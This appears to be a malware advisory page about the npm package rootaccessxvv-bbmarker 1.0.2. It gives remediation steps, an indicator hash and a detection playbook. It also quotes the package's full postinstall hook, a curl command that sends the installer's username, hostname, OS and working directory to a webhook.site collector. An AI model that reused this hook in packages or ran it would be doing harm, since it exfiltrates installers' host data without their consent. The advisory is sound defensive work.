Which versions of rootaccessxvv-bbmarker are malicious?

The following npm versions of rootaccessxvv-bbmarker are flagged malicious: 1.0.2. Treat any of these as compromised.

How do I remediate rootaccessxvv-bbmarker if I installed it?

rootaccessxvv-bbmarker is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed rootaccessxvv-bbmarker — how do I know if it already compromised me?

If rootaccessxvv-bbmarker was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is rootaccessxvv-bbmarker part of a known attack campaign?

Yes — rootaccessxvv-bbmarker is associated with the IN-MAL-2026-021550 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find rootaccessxvv-bbmarker across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for rootaccessxvv-bbmarker (version 1.0.2).

Malicious package

rootaccessxvv-bbmarkernpm

Advisory published Oct 18, 2026Updated Oct 21, 2026

rootaccessxvv-bbmarker is a confirmed malicious npm package (MAL-2026-18108) that steals credentials and exfiltrates sensitive data (malicious version 1.0.2). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in rootaccessxvv-bbmarker (npm)

MAL-2026-18108

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall rootaccessxvv-bbmarker

What this malware does

Its postinstall hook runs on npm install: curl -s -m 10 -X POST "https://webhook.site/8f9e5268-4fcf-47a1-97a8-681b51c1edbc/rce-proof" -H "Content-Type: text/plain" --data-binary "DPD-REGISTRY-RCE-PROOF|user=$(whoami)|host=$(hostname)|node=$(node --version)|os=$(uname -a 2>/dev/null || ver)|cwd=$PWD|[email protected]|benign-research-rootaccessxvv" || true. The hook collects the username, hostname, Node.js version, operating system, working directory and package name, then sends them to https://webhook.site/8f9e5268-4fcf-47a1-97a8-681b51c1edbc/rce-proof. The npm account mohamed2343224 published it on 2026-10-18.

package.json declares a postinstall lifecycle script that runs on npm install and POSTs installer host identifiers to a hardcoded webhook.site collector at https://webhook.site/8f9e5268-4fcf-47a1-97a8-681b51c1edbc/rce-proof. The script shells out to whoami, hostname, uname, and node -v, concatenates the output with the current working directory, and sends the result via curl -X POST. The destination is an anonymous third-party webhook aggregator unrelated to any legitimate install-time dependency. The package name self-describes as a proof-of-concept, but the behavior — automatic install-time collection and exfiltration of installer identity and host metadata to an attacker-controlled collector — is a working supply-chain attack regardless of how it is labeled.

Malicious versions

1 flagged

1.0.2

Indicators of compromise (SHA-256)

126c6e67bc80ed62f5e620ef9a8ce11ca39653348a59bc8d7a1d0cef76f72a02

Detection & response playbook

Credential / info stealer

Find it
Search your lockfiles and build artifacts for rootaccessxvv-bbmarker (version 1.0.2).
If you installed it — respond
rootaccessxvv-bbmarker is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If rootaccessxvv-bbmarker was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. rootaccessxvv-bbmarker on npm has been identified as a malicious package (version 1.0.2 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-021550

References

Credits

Amazon Inspector · finder
InvisiRisk, Inc. · finder

Detect & block this

O3 blocks rootaccessxvv-bbmarker-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database